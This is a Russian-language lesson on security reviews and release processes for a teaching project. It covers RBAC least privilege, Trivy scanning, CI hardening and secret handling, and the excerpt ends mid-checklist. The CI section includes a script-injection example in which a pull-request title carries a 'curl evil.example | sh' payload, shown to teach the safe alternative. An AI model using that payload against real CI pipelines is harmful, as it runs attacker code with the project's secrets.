✻ Урок 10.5 · Тема 10: Итоговый практикум
Ревью безопасности и релизного процесса
Содержание урока
Зачем это нужно
Платформа собрана, но теперь её надо проверить: какие права раздали, что видно снаружи и что случится, если завтра в базовом образе найдут критичную уязвимость. Уязвимость (vulnerability) это ошибка, через которую можно получить чужие данные или лишние права; напоминание в уроке 4.8.
Такую проверку называют ревью безопасности (security review): ты ищешь опасные места в работающей системе и записываешь, что с ними делать. Это как осмотр квартиры перед покупкой: мало увидеть плохой замок, надо решить, кто и когда его заменит. Без ревью легко забыть временные разрешения, которые оставили «пока настраиваем»; подробно разберём ниже.
Ревью просят перед внешним аудитом (audit), проверкой независимым специалистом. Как инспектор проверяет магазин по документам и фактическому состоянию, аудитор проверяет настройки и доказательства их проверки. Это помогает заказчику оценить безопасность без доверия к одному обещанию «всё настроено». Ревью нужно и после инцидента, события, нарушившего нормальную работу (урок 10.1), или перед выходом в прод (production), среду для реальных пользователей. Релиз, выпуск версии, и откат (rollback), возврат к предыдущей рабочей версии, ты уже разбирал в уроке 3.5. Здесь опишешь их порядок, чтобы выпуск не превращался в ночное восстановление сервиса.
Ревью безопасности это не поиск идеала. Это список конкретных замечаний, и по каждому есть решение: исправить, принять риск с обоснованием или отложить со сроком. Риск (risk) учитывает вероятность неприятности и её ущерб, а принятый риск означает, что опасность сознательно оставили с причиной, владельцем и датой пересмотра; это продолжение урока 9.7. В этом уроке ты научишься проходить платформу по слоям и читать отчёты сканеров, программ поиска известных проблем (урок 4.8). Проверишь права в Kubernetes и в CI, системе автоматических проверок и сборки (урок 3.3), а потом опишешь релизный процесс, которому можно следовать даже в спешке.
Шаг проекта: в «Заметках» появляются docs/security.md (результат ревью) и RELEASING.md (процесс релиза с откатом). Это файлы Markdown: обычный текст с пометками заголовков и списков, как записка, в которой подчёркнули названия разделов. GitHub показывает такой текст как оформленную страницу, поэтому инструкцию удобно читать прямо в репозитории; подробнее в уроке 10.6. Повторный анализ угроз по STRIDE, шести категориям возможного вреда, не делаем: он уже лежит в docs/threat-model.md (урок 9.7).
Что нужно знать
- Урок 3.4: качество и безопасность в CI: блок
permissions, права автоматизации, в workflow, файле шагов GitHub Actions; TruffleHog ищет забытые секреты,trivy-fsпроверяет файлы проекта. - Урок 3.5: релизный поток: теги git и GitHub Release.
- Урок 4.8: безопасность образов: Trivy, сканер образов и файлов; SBOM (Software Bill of Materials), список компонентов образа с версиями; запуск без прав администратора root.
- Урок 5.12: безопасность кластера: RBAC (role-based access control), права на основе ролей; NetworkPolicy, правила сетевого общения подов; Pod Security Standards (PSS), требования к безопасным настройкам подов.
- Урок 9.6: canary и откат по метрикам: canary сначала направляет на новую версию малую долю запросов и увеличивает её, если показатели работы нормальные.
- Урок 9.7: разбор платформы:
docs/threat-model.mdи список долгов. - Урок 10.4: строительные блоки: как отказ одной части не должен тянуть остальные. Здесь то же самое про безопасность: радиус поражения (blast radius) показывает, какие ещё части пострадают при взломе одной; напоминание в уроке 9.7.
Картина целиком
Представь, что ты покупаешь квартиру и зовёшь эксперта её проверить. Он не разбирает дом по кирпичику. Он идёт по списку: входная дверь и замки, окна, проводка, трубы, соседи сверху. По каждому пункту говорит «нормально», «надо чинить» или «можно жить, но следи». В конце ты получаешь список замечаний, и по каждому решаешь: чинить сейчас, чинить в течение года или сознательно жить с этим.
Ревью платформы устроено так же. Вместо двери и окон слои: хост, машина, где работает система, и SSH, удалённый вход на неё (урок 2.2); образ и репозиторий; манифесты, файлы желаемых настроек Kubernetes (урок 5.2); кластер и CI; секреты и логи. Секреты это пароли и токены для доступа (урок 9.1), логи это записанные события работы (урок 8.7). Вместо осмотра сканеры и команды-проверки. Вместо «чинить, следить, жить» три решения: исправить, отложить, принять риск. А релизный процесс это правила «как заносить мебель»: когда можно, кто отвечает и как быстро вынести обратно, если не подошла.
Схема напоминает знакомые инструменты: sshd обслуживает вход по SSH, ufw ограничивает сетевой доступ, nmap проверяет доступные порты (урок 2.7). Vault хранит секреты (урок 9.1), а журнал аудита (audit log) записывает, кто и что менял или читал (урок 5.12). В отличие от квартиры, настройки платформы меняются после каждого выпуска: вчерашнее ревью не заменяет проверку новых изменений.
flowchart TD
A["Хост и SSH"] -->|sshd -T, ufw, nmap| Z["docs/security.md<br>серьёзность, решение,<br>срок, владелец"]
B["Образ"] -->|trivy image| Z
C["Репозиторий"] -->|trivy fs, TruffleHog| Z
D["Манифесты"] -->|trivy config| Z
E["Кластер"] -->|kubectl auth can-i| Z
F["CI, секреты, логи"] -->|настройки, Vault, audit log| Z
Z --> R["RELEASING.md<br>выпуск и откат"]
Схема читается слева направо по слоям: каждый слой проверяют своим инструментом, а результаты собирают в один документ.
Теория
Что такое ревью безопасности и из чего оно состоит
Система, которую собирали по частям несколько месяцев, накапливает решения «потом поправим»: широкие права «чтобы заработало», забытый открытый порт, образ со старой библиотекой. Каждое по отдельности выглядит мелочью. Ревью собирает их в один список, чтобы решить, что важно, а что нет. Без него безопасность держится на надежде, что никто не заглянет в ту дверь, которую забыли запереть.
Проверка электрика в старом доме. Он не чинит всё подряд, а составляет акт: «щиток без заземления, опасно, менять сейчас», «розетка в кухне греется, менять в течение месяца», «проводка 1970-х, но нагрузка небольшая, наблюдаем». Аналогия перестаёт работать в одном: дом стоит на месте, а платформа меняется каждый день, поэтому ревью повторяют регулярно (раз в квартал или перед крупным релизом), а не один раз.
Сначала несколько терминов, которые встретятся в отчётах.
- Уязвимость (vulnerability): ошибка в программе, которой можно воспользоваться, чтобы получить лишнее (данные, права, контроль над машиной).
- CVE (Common Vulnerabilities and Exposures): публичный номер конкретной известной уязвимости, знакомый по уроку 4.8. Номер нужен, чтобы авторы программы, сканер и ты говорили об одном и том же. Все номера CVE в примерах этого урока условные: это не сообщения о реальных уязвимостях.
- Серьёзность (severity): оценка опасности уязвимости. Стандартные уровни: LOW (низкая), MEDIUM (средняя), HIGH (высокая), CRITICAL (критическая). Обычно за ней стоит CVSS (Common Vulnerability Scoring System), числовая оценка от 0 до 10 из урока 4.8. Она описывает свойства уязвимости, а не вероятность взлома именно твоих «Заметок».
- Мисконфигурация (misconfiguration): опасная настройка, например контейнер с правами
privileged: trueили порт базы, открытый всему интернету. Это как исправный замок, у которого оставили ключ снаружи: механизм работает, но пользоваться им решили опасно. Поиск таких настроек нужен, потому что обновление программ само по себе лишние права не убирает. - Риск: вероятность, что уязвимостью воспользуются, помноженная на ущерб. Одна и та же уязвимость в сервисе, который торчит в интернет, и в сервисе, доступном только внутри, это разные риски.
Аудитор не читает весь код. Он идёт по слоям и на каждом задаёт один вопрос: что сможет сделать тот, кто получил доступ на этом уровне? Слои для «Заметок»:
| Слой | Что проверяем | Чем |
|---|---|---|
| Хост и SSH | вход по ключам, root закрыт, открыты только 22, 80, 443 | sshd -T, ufw status, nmap |
| Образ | известные уязвимости, запуск не от root, нет секретов в слоях | trivy image |
| Репозиторий | секреты в истории, уязвимые зависимости | trivy fs, TruffleHog |
| Манифесты | privileged, hostPath, нет limits, тег latest |
trivy config |
| Кластер | кто cluster-admin (администратор всего кластера), PSS, NetworkPolicy, токен в поде |
kubectl auth can-i, kubectl get |
| CI | права токена, кто может менять workflow, секреты | permissions, защита веток |
| Секреты | где живут и кто их читает | Vault, ESO (уроки 9.1, 9.2) |
| Логи доступа | кто и что менял, можно ли восстановить картину | audit log, история git |
Допустим, ты нашёл замечание «у сервисного аккаунта CI права cluster-admin». Оформляешь так:
| Что | Где | Серьёзность | Решение | Срок | Владелец |
|---|---|---|---|---|---|
CI имеет cluster-admin |
ClusterRoleBinding (привязка роли ко всему кластеру) ci-deployer-admin |
HIGH | исправить | сегодня | ты |
Серьёзность HIGH, потому что через украденный токен CI можно прочитать секреты всего кластера. Сервисный аккаунт (ServiceAccount) это учётная запись программы, а Role это список её разрешённых действий; напоминание в уроке 5.12. Решение «исправить»: заменить широкие права минимальным набором под задачу. Теперь другое замечание: «в образе есть CVE в библиотеке, исправления ещё нет, а проверка показала, что опасный код не вызывается». Реальный риск может быть ниже оценки HIGH, но это надо подтвердить, как разберём в следующем разделе. Решение «принять риск»: записываем доказательства, владельца и дату пересмотра. Третий вариант, «отложить», нужен для того, что исправить надо, но не сейчас: например, переход на новый базовый образ на следующей неделе, со сроком.
Прикинь сам: сканер показал ноль замечаний, но у сервисного аккаунта CI есть
cluster-admin. Закончено ли ревью?
Нет: сканер не видит лишние права CI, открытые порты и забытые секреты вне файлов. Нужны ручные проверки по чек-листу.
Проверь понимание: сканер нашёл CRITICAL в пакете, который есть в образе, но приложение его не запускает. Обязательно ли чинить сегодня? Что ты запишешь?
Ответ
Не обязательно сегодня, если подтверждено, что опасный код не вызывается, в том числе другими программами внутри образа. Одной фразы «пакет не используется» мало. Записываешь, что проверил, почему риск считаешь приемлемым, кто отвечает и когда повторишь проверку. Если появилась исправленная версия, планируешь обновление; если безопасность не удалось подтвердить, не объявляешь риск низким.
Осторожно: «Ревью безопасности закончено, когда сканер показывает ноль». Нет. Сканер видит только то, что знает (известные CVE и типовые ошибки конфигурации). Он не заметит, что у CI слишком много прав, потому что сами по себе эти права не нарушают правил. Поэтому ревью состоит из сканеров и ручных проверок по чек-листу. И второе: «замечание без решения это ревью». Нет: замечание без решения, срока и владельца это жалоба, а не ревью.
Главное: ревью это список замечаний, где по каждому есть решение, срок и владелец, и состоит оно из сканеров и ручных проверок по слоям.
Замечание найдено. Как решить, что с ним делать?
От замечания к решению: доказательства и срок пересмотра
Сканер отвечает «какая известная проблема найдена», но не решает, можно ли выпускать твоё приложение. Один отчёт может содержать десятки строк про библиотеки и ни одной строки про украденный пароль. Поэтому после поиска нужен разбор замечаний: проверить факты, оценить последствия и выбрать действие. Без этого команда либо останавливает любой выпуск при красной строке, либо начинает скрывать все строки, которые мешают выпуску. В обоих случаях решение принимается по цвету отчёта вместо состояния системы.
На осмотре дома нашли трещину в стене и сломанный замок входной двери. Размер трещины сам по себе не говорит, рухнет ли дом: надо знать, какая это стена и растёт ли трещина. А замок может требовать немедленной замены, даже если в акте занимает одну короткую строку. Так же серьёзность CVE даёт отправную точку, а срочность зависит от устройства твоей системы. Граница аналогии: программу могут атаковать намеренно, поэтому надо учитывать не только случайный отказ, но и действия человека с доступом.
Для каждого замечания пройди четыре вопроса в одном порядке.
Сначала проверь, что именно затронуто. Запиши образ, версию компонента, место в конфигурации и дату отчёта. Например, «библиотека libexpat версии 2.6.1-1 в образе notes:0.7.1», а не «у нас плохой Python». Версии здесь условные. Без такой записи следующий человек может проверить уже другой образ и решить, что замечание исчезло, хотя старая версия ещё работает. Для лишних прав аналогичная точность: имя аккаунта, привязка роли и доступное действие.
Дальше проверь достижимость (reachability), возможность добраться до опасного кода через работающую систему. Как незапертая дверь опаснее, если к ней ведёт открытый коридор, уязвимость важнее, если входящий запрос может вызвать проблемную функцию. Эта проверка помогает выбрать срочность: без неё наличие библиотеки ошибочно принимают за готовый путь взлома, а отсутствие прямого вызова в app.py за доказанную безопасность. Посмотри описание уязвимости: какая функция затронута, какие входные данные ей нужны, требуется ли уже иметь доступ. Затем сопоставь это с работой приложения и программ внутри образа. Библиотеку может вызывать другая библиотека, даже если её имени нет в твоём коде. Если ответ не найден, запиши «достижимость не подтверждена», а не «угрозы нет».
Третий вопрос: что станет доступно при успешной атаке? Если украденный токен позволяет только обновить один Deployment, ущерб ограничен этой задачей. Если токен позволяет читать все Secret и создавать поды во всём кластере, затронуты и другие приложения. Ограничение доступа к сервису извне уменьшает один путь атаки, но не исключает ошибку коллеги или взлом соседнего сервиса. Поэтому «только внутри сети» это условие оценки, а не разрешение забыть замечание.
Наконец проверь какие меры доступны сейчас. Новая версия компонента может исправить ошибку. Если новой версии ещё нет, иногда можно отключить опасную функцию или ограничить доступ к ней. Такую меру называют компенсирующей (compensating control): как временная охрана у сломанной двери, она уменьшает опасность до ремонта. Без неё ожидание исправления оставляет прежний путь атаки открытым. Мера не удаляет уязвимость и не заменяет повторную проверку после обновления.
flowchart TD
A["Замечание из отчёта"] --> B["Точный компонент<br>и версия"]
B --> C["Путь к опасному коду"]
C --> D["Возможный ущерб"]
D --> E["Исправление или ограничение"]
E --> F["Решение, владелец,<br>срок, доказательства"]
Сканер пометил библиотеку как HIGH. Ты установил, что проблема касается чтения определённого формата файла, а «Заметки» такие файлы не принимают. Но прежде чем принять риск, проверяешь и фоновые задачи: не читает ли этот формат другая программа в том же образе. Допустим, проверка не нашла такого пути, исправления пока нет. Тогда запись в docs/security.md может выглядеть так:
| Поле | Пример записи | Зачем оно нужно |
|---|---|---|
| Объект | notes:0.7.1, библиотека и её версия, условная CVE из отчёта |
Повторить проверку того же компонента |
| Наблюдение | HIGH; затронуто чтение формата, который приложение не принимает | Отделить находку сканера от оценки ситуации |
| Доказательство | Описание проблемы, просмотр обработчиков и фоновых задач; дата проверки | Понять, на чём основан вывод |
| Решение | Принять риск до повторной проверки | Явно разрешить временное сохранение проблемы |
| Владелец | Ты; в рабочей системе ответственный за сервис | Указать, кто следит за изменениями |
| Пересмотр | Через неделю; раньше, если появился ремонт или новый обработчик файлов | Вернуть вопрос в работу вовремя |
Читай таблицу сверху вниз: найденный компонент, факты о нём, основание оценки и только потом решение. Неделя это условный учебный срок, а не универсальное правило для HIGH. В рабочей системе допустимый срок зависит от последствий и правил команды. Если завтра приложение начнёт принимать такие файлы, основание принятого риска исчезнет: календарной даты ждать нельзя.
«Принять риск» и «отложить исправление» различаются обязательством. При принятии ответственный считает текущий риск допустимым при записанных условиях. При откладывании проблема признана требующей ремонта, уже есть задача и срок её выполнения. В учебном проекте оба решения принимаешь ты. На работе проверяющий описывает факты, а решение подтверждает тот, кто отвечает за сервис и последствия: одного разрешения сканера недостаточно.
Прикинь сам: CVE приняли до пятницы, потому что приложение не принимало опасный формат. В среду добавили загрузку таких файлов. Ждать пятницы?
Нет: условия решения изменились, поэтому оценку повторяют сразу. Дата пересмотра это крайний срок, а не разрешение игнорировать новые факты.
Осторожно: «Добавили CVE в исключения, значит риск принят». Файл исключений только меняет видимость отчёта. Он не объясняет причину и не назначает ответственного. Исключение должно соответствовать записи в docs/security.md и возвращать замечание после срока. «Исправили» тоже требует доказательства: повторной проверки обновлённого образа или отказа в прежнем лишнем действии. Изменённый файл ещё не доказывает, что новая настройка действует в работающем кластере.
Главное: по замечанию проверяют, что затронуто, достижим ли опасный код, чем рискуем и какие меры есть, а решение записывают с доказательствами, владельцем и сроком.
Самое частое замечание касается прав. Разберём принцип наименьших привилегий.
Принцип наименьших привилегий и права в Kubernetes
Любой доступ рано или поздно может оказаться в чужих руках: токен утёк, под взломали, сотрудник ошибся командой. Чем меньше прав у скомпрометированного субъекта, тем меньше он успеет сделать. Идея называется принципом наименьших привилегий (least privilege): каждому выдаётся ровно то, что нужно для его задачи, и на то время, которое нужно. Радиус поражения (blast radius) это то, до чего дотянется злоумышленник, получив один доступ. Твоя задача его уменьшать.
Ключи от здания. Уборщице нужен ключ от подсобки и коридоров, а не от сейфа с документами. Если она потеряет ключ, потеряна подсобка, а не вся компания. Граница аналогии: цифровой ключ, токен, можно незаметно скопировать. Роли и привязки определяют, какие двери откроет такая копия, поэтому важно и ограничивать права, и отзывать утёкший токен.
Права в Kubernetes задаёт RBAC (role-based access control, доступ на основе ролей). Ты уже видел его в уроке 5.12. Напомню части:
- Субъект (subject): кому выдаём. Это пользователь, группа или сервисный аккаунт (ServiceAccount, SA), «учётная запись для программы»: под или CI-система ходит в API кластера от его имени.
- Role (роль): список правил вида «на такие ресурсы (
deployments) такие действия (get,patch)». Роль действует в одном namespace. ClusterRole это то же самое, но на весь кластер или на ресурсы, у которых нет namespace. - RoleBinding привязывает роль к субъекту в одном namespace. ClusterRoleBinding привязывает ClusterRole ко всему кластеру.
cluster-adminэто встроенная ClusterRole «можно всё во всём кластере». Привязанный к ней субъект, по сути, владелец кластера.
flowchart TD
S["Субъект<br>ServiceAccount ci-deployer"] --> RB["RoleBinding<br>в namespace notes"]
RB --> R["Role<br>patch deployments"]
S2["Тот же субъект"] -.-> CRB["ClusterRoleBinding<br>на cluster-admin"]
CRB -.-> CA["Можно всё во всём кластере"]
Сплошная ветка это права под задачу, пунктирная это то, что искали на ревью и убирают.
Проверить права можно командой kubectl auth can-i <действие> <ресурс> --as=<субъект>: она отвечает yes или no, ничего не меняя. Это главный инструмент проверки в этом уроке.
Отдельная тема: токен сервисного аккаунта. По умолчанию Kubernetes кладёт в каждый под файл с токеном своего SA, и любая программа в поде (в том числе чужой код после взлома) может обратиться к API кластера с правами этого аккаунта. Если приложению API не нужен (наши «Заметки» ходят в базу, а не в Kubernetes), токен отключают: automountServiceAccountToken: false.
Запускаем команду и читаем ответ:
$ kubectl -n notes auth can-i get secrets --as=system:serviceaccount:notes:ci-deployer
yes
Разбор: -n notes пространство имён; get secrets действие и ресурс («читать секреты»); --as=system:serviceaccount:notes:ci-deployer выполнить проверку от имени аккаунта ci-deployer из namespace notes (формат имени всегда system:serviceaccount:<namespace>:<имя>). Ответ yes плохой: CI, которому нужно только обновить Deployment, может читать секреты. Причина видна в привязках: ClusterRoleBinding на cluster-admin. Исправление: удалить привязку и дать Role на один namespace с единственным правом patch на deployments и rollouts. Тогда can-i get secrets вернёт no, а can-i patch deployments вернёт yes. Права стали «ровно под задачу».
Прикинь сам:
kubectl auth can-i get secrets --as=...ci-deployerответилyes, а CI нужно только обновлять Deployment. Что делать?
Убрать привязку на cluster-admin и дать Role на один namespace с правом patch на deployments и rollouts.
Проверь понимание: чем
RoleBindingна ClusterRoleviewв namespacenotesотличается отClusterRoleBindingна ту же роль?
Ответ
RoleBinding даёт права просмотра только внутри namespace notes, ClusterRoleBinding даёт их во всех namespace кластера. Роль одна и та же, разница в привязке.
Осторожно: «Раз под в namespace notes, то и права у него только там». Нет: права определяются привязками, а не расположением пода. Аккаунт с ClusterRoleBinding на cluster-admin может всё во всех namespace, где бы ни жил. Ещё путают Role и ClusterRole: Role не может выдать права за пределы своего namespace, а вот ClusterRole в паре с RoleBinding работает как «шаблон прав на один namespace». Различай по слову Cluster в привязке, оно и делает права кластерными.
Главное: каждому выдают ровно те права, что нужны для задачи, а
kubectl auth can-iпроверяет их, ничего не меняя.
Права проверили руками. Теперь автоматическая проверка: что видят сканеры.
Сканеры: что они видят, а что нет
Вручную проверить сотни библиотек в образе и тысячи строк YAML невозможно. Сканер (scanner) сверяет твои файлы с базами известных проблем и правил. В курсе мы используем Trivy: один инструмент, три режима.
Металлодетектор в аэропорту. Он быстро находит известные типы предметов и ничего не знает о намерениях человека. Если звенит, это не значит «преступник», а если не звенит, это не значит «безопасно». Аналогия перестаёт работать в одном: у металлодетектора нет базы, которая обновляется каждый день, а у сканера уязвимостей есть, поэтому результат сегодня и через месяц на одном и том же образе разный.
Trivy умеет три режима, и каждый отвечает на свой вопрос:
trivy fs <папка>смотрит файловую систему проекта: находит уязвимости в зависимостях, сторонних библиотеках приложения, и секреты, забытые в файлах. Например,requirements.txtхранит список библиотек Python для установки; ты встречал его в уроке 4.8;trivy config <папка>проверяет конфигурацию (Dockerfile, Kubernetes YAML, Terraform, чарты Helm) на опасные настройки, то есть мисконфигурации;trivy image <образ>смотрит внутрь собранного образа: пакеты операционной системы и библиотеки языка.
Для поиска уязвимостей Trivy использует обновляемую базу известных CVE, а для опасных настроек и секретов применяет отдельные правила. SBOM (Software Bill of Materials) это список всех компонентов образа с версиями, как список ингредиентов на упаковке (ты делал его в уроке 4.8); по SBOM можно быстро ответить на вопрос «есть ли у нас пакет X, в котором нашли CVE» без повторного сканирования.
Ложное срабатывание (false positive) означает, что сканер ошибочно сообщил о проблеме, например сопоставил пакет с уязвимостью другого компонента. Это как сигнализация, сработавшая от ветки за окном: сигнал есть, а описанного события нет. Разбор таких сигналов нужен, чтобы не тратить время на несуществующую проблему; в отчёте сохрани доказательство ошибки. Если уязвимость реально есть, но её функция не вызывается, это оценка риска по достижимости, а не ложное срабатывание.
Полезные флаги: --severity HIGH,CRITICAL оставляет только серьёзные замечания; --ignore-unfixed скрывает уязвимости, для которых автор ещё не выпустил исправление, чтобы выделить доступные обновления; --scanners vuln,secret выбирает, что искать (уязвимости и секреты). Отсутствие исправления не делает проблему безопасной: полный отчёт нужен для оценки риска и возможных ограничений доступа.
Как оформлять принятый риск: файл .trivyignore.yaml в корне репозитория. Автоматически Trivy читает только .trivyignore в текущем каталоге, а YAML-файл подключают флагом --ignorefile ./.trivyignore.yaml (в контейнере с -v "$PWD":/src путь /src/.trivyignore.yaml); после этого перечисленные замечания пропускаются. Главное поле: expired_at, дата, после которой запись перестаёт действовать, и замечание вернётся в отчёт. Так «принятый риск» не превращается в «забытый навсегда».
Кластерные сканеры (kubescape, kube-bench) сверяют кластер с базовыми рекомендациями CIS Kubernetes Benchmark (свод правил безопасной настройки); в курсе только обзор, версии не закреплены.
Фрагмент отчёта trivy image (значения условные, у тебя будут другие):
Total: 3 (HIGH: 2, CRITICAL: 1)
┌──────────┬────────────────┬──────────┬───────────────────┬───────────────┐
│ Library │ Vulnerability │ Severity │ Installed Version │ Fixed Version │
├──────────┼────────────────┼──────────┼───────────────────┼───────────────┤
│ libexpat │ CVE-2026-11111 │ CRITICAL │ 2.6.1-1 │ 2.6.2-1 │
└──────────┴────────────────┴──────────┴───────────────────┴───────────────┘
Как читать вывод: Library пакет, в котором проблема; Vulnerability номер CVE; Severity серьёзность; Installed Version версия в твоём образе; Fixed Version версия, где проблему исправили. Если Fixed Version заполнена, проверь, содержит ли обновлённый базовый образ исправленный пакет, пересобери приложение и повтори сканирование. Одной смены тега недостаточно: важно увидеть нужную версию внутри результата. Если поле пусто, сканеру не известно готовое обновление. Это повод оценить достижимость и временные меры, а не автоматически принять риск.
Прикинь сам: сканер нашёл 60 замечаний. Это катастрофа?
Не обязательно: часто всё закрывается обновлением одного базового образа. Сначала обнови базу, потом разбери остаток по достижимости.
Проверь понимание: почему
--ignore-unfixedудобен для разового отчёта, но опасен как постоянная настройка CI?
Ответ
Он скрывает уязвимости, для которых исправления ещё нет. Когда база узнает об исправлении, замечание снова появится, но до этого реальная проблема может месяцами отсутствовать в отчёте CI. Такие замечания надо оценивать по полному отчёту и вести с датой пересмотра, даже если обновление пока недоступно.
Осторожно: «Ноль замечаний значит безопасно». Нет: сканер не знает про права CI, открытые порты, отсутствие NetworkPolicy и забытые секреты, если они не лежат в файлах. И обратное: «60 замечаний значит катастрофа». Часто 60 замечаний закрывается обновлением одного базового образа. Сначала обнови базу, потом разбирай остаток по достижимости.
Главное: Trivy проверяет файлы, конфигурацию и образ, но видит только известное, а принятый риск оформляют с датой
expired_at.
Следующее слабое звено: CI и всё, что попадает в прод.
Права CI и цепочка поставки
CI (система автоматической сборки, GitHub Actions из урока 3.3) это самая мощная учётная запись в проекте: она собирает то, что попадёт в прод, и часто имеет доступ к секретам и кластеру. Если взломать CI, можно подменить то, что уедет к пользователям, не трогая сам сервер. Цепочка поставки (supply chain) это весь путь от исходного кода до работающего пода: твой код, чужие библиотеки, базовый образ, скрипты сборки, реестр образов. Слабое звено на любом шаге попадает в прод.
Цепочка поставки продуктов в ресторане: ферма, склад, перевозчик, кухня. Отравить блюдо можно на любом шаге, а не только на кухне, поэтому проверяют каждое звено и не берут продукты «из неизвестного источника». Аналогия перестаёт работать в скорости: в ПО чужой код обновляется автоматически и незаметно, поэтому нужны специальные приёмы закрепления версий.
Что проверять в CI:
permissions:в workflow заданы явно. Это права токенаGITHUB_TOKEN, который GitHub выдаёт каждому запуску. По умолчанию ставимcontents: read(только читать код), запись включаем точечно там, где нужна (packages: writeдля публикации образа).- Сторонние actions (готовые «шаги» от других авторов:
uses: some/action@v3) закреплены. Проблема в том, что@v3это тег, подвижная метка, и автор (или тот, кто взломал его аккаунт) может переставить её на другой код. Тогда твой CI выполнит чужой код с твоими секретами. Надёжнее закрепить по SHA коммита, длинному хэшу конкретной версии кода: его подменить нельзя. - Данные из внешнего мира (заголовок PR, имя ветки) не подставляются в
run:напрямую. Иначе получаешь внедрение команд (script injection): злоумышленник называет ветку или PR так, чтобы в имени была shell-команда, и она выполнится в твоём CI. - Ветка
mainзащищена: слияние только через PR, обязательные проверки CI, без прямого push. - Секреты CI выдаются окружению (environment), а не всему репозиторию, и недоступны PR из форков (чужих копий репозитория).
- Токен, с которым CI ходит в кластер, имеет Role на один namespace, а не
cluster-admin(предыдущий раздел).
Вот опасный шаг workflow:
# ПЛОХО: заголовок PR подставляется прямо в текст команды
- run: echo "Проверяем PR ${{ github.event.pull_request.title }}"
GitHub сначала заменяет выражение ${{ ... }} на значение, и только потом отдаёт получившийся текст shell. Если автор PR назвал его "; curl evil.example | sh; echo ", то shell получит echo "Проверяем PR "; curl evil.example | sh; echo "" и выполнит скачанное. Безопасный вариант передаёт значение через переменную окружения: тогда оно остаётся данными, а не кодом.
# ХОРОШО: значение попадает в переменную окружения, shell читает её как обычную строку
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Проверяем PR $TITLE"
Прикинь сам: в workflow подставляется заголовок PR прямо в
run:. Чем это опасно?
Автор PR может назвать его так, что в заголовке будет команда shell, и CI выполнит её. Безопасно передавать значение через переменную окружения.
Проверь понимание: почему
uses: some/action@v3рискованнее, чемuses: some/action@<sha коммита>?
Ответ
Тег v3 подвижный: автор (или тот, кто взломал его аккаунт) может переместить его на другой код, и ваш CI выполнит его с вашими секретами. SHA коммита неизменяем: другого кода под тем же SHA быть не может.
Осторожно: «Приватный репозиторий безопасен, секреты в нём можно держать». Нет: доступ к репозиторию есть у каждого, кто в проекте, и у CI, и секрет остаётся в истории git навсегда. И второе: «закрепили версию @v3, значит закреплено». Тег версии можно переписать, закрепление считается надёжным только по SHA.
Главное: CI самая мощная учётная запись проекта: ограничивай
permissions, закрепляй actions по SHA и не подставляй данные из PR вrun:.
Что именно охраняет CI? Секреты и следы действий.
Секреты и логи: две вещи, которые аудитор проверяет всегда
Секрет (пароль, токен, ключ) это то, что даёт доступ. Если он попал не туда, все остальные защиты обходятся «по билету». А логи доступа (кто, когда и что делал) нужны, чтобы после инцидента восстановить картину: без них ты не узнаешь, что именно унесли и через какую дверь.
Секрет это ключ от квартиры, а лог это журнал вахтёра у входа. Ключ надо хранить в одном надёжном месте и менять после потери. Журнал должен вестись всегда, а не «с момента, как что-то случилось», иначе расследовать нечего.
Про секреты на ревью проверяют по цепочке «где родился, где хранится, как попадает в под, кто читает, когда меняется»:
- Единый источник. Секреты живут в Vault (урок 9.1), в кластер попадают через External Secrets (ESO, урок 9.2). В git, образе и переменных CI (кроме случаев, когда без этого нельзя) секретов нет.
- Доступ по политике. Читать
secret/notes/*может только тот, кому это нужно (в курсе политикаnotes-read). - Ротация (rotation), то есть плановая смена. Утёкший секрет с вечным сроком жизни это вечная дыра. Чем короче срок жизни, тем меньше ущерб.
- Ключи от самого хранилища. Vault при запуске «запечатан» (sealed) и открывается unseal-ключами: они хранятся вне репозитория и не у одного человека.
- Проверка истории. Секрет, однажды попавший в git, остаётся в истории, даже если файл потом удалили. Поэтому сканер секретов (TruffleHog из урока 3.4) ходит по истории, а не только по текущим файлам.
Логи проверяют по вопросу «смогу ли я через месяц ответить, кто это сделал?». Источники: логи доступа веб-сервера (nginx: кто и какой запрос присылал), audit log Kubernetes (журнал обращений к API: кто создал под, кто прочитал секрет) и история git (кто менял workflow и манифесты). Ещё нужен алерт на аномалию (рост 5xx, частые перезапуски подов), иначе логи читают только после того, как пожаловались пользователи.
Разработчик закоммитил токен ghp_... в публичный репозиторий и через минуту удалил файл. Вопрос ревью: «ситуация закрыта?» Нет. Считаем: коммит с токеном существует в истории, публичные репозитории сканируют боты в течение минут, значит токен считаем скомпрометированным. Правильный порядок: (1) отозвать токен и выпустить новый (это главное), (2) по логам и аудиту проверить, использовался ли старый токен, откуда и когда, (3) при необходимости почистить историю, (4) добавить сканер секретов в CI и в проверку перед коммитом (pre-commit), чтобы такое ловилось до пуша. Чистка истории без отзыва токена бесполезна: копию уже могли забрать.
Прикинь сам: токен закоммитили и следующим коммитом убрали. Что делать в первую очередь?
Отозвать и перевыпустить токен: история git сохраняет старый коммит, и секрет считается скомпрометированным.
Осторожно: «Значения в Kubernetes Secret зашифрованы». Нет: по умолчанию они лишь закодированы в base64, а это обратимое преобразование без ключа (echo cGFzcw== | base64 -d даёт pass). Права на чтение Secret надо ограничивать так же строго, как права на сами данные.
Главное: секрет живёт в одном надёжном месте и меняется по плану, а журналы нужны, чтобы через месяц ответить, кто что сделал.
Остался последний слой: как безопасно выкатывать и откатывать.
Релизный процесс: как выпускать и откатывать
Даже самый безопасный код, выкаченный в пятницу в 18:00 без плана отката, ломает выходные. Релиз (release) это управляемое изменение боевой системы: понятно, что выкатываем, кто отвечает, как проверяем результат и как быстро вернём назад. Процесс нужен, чтобы под давлением («надо срочно») люди не забывали то, что в спокойной обстановке считают обязательным.
Взлёт самолёта. У пилотов есть чек-лист, который читают вслух каждый раз, даже если вылетали тысячу раз. Не потому что забыли, а потому что именно в рутине пропускают. Есть и правило «взлёт прервать можно до определённой скорости, после неё только продолжать». Аналогия перестаёт работать в одном: у релиза «прервать» можно и после старта, поэтому важен откат.
Минимальный процесс для «Заметок», по шагам:
- Версия по semver (semantic versioning, семантическое версионирование): три числа
МАЖОР.МИНОР.ПАТЧ, например0.7.1. Патч растёт при исправлении ошибки, минор при новой совместимой функции, мажор при несовместимом изменении. Одна версия сквозная: тег gitv0.7.1, образnotes:0.7.1,appVersionв чарте. Так по любому одному ты находишь остальные. - Changelog (журнал изменений): что изменилось, написано для человека, а не сырой вывод
git log. - Чек-лист до релиза: CI зелёный,
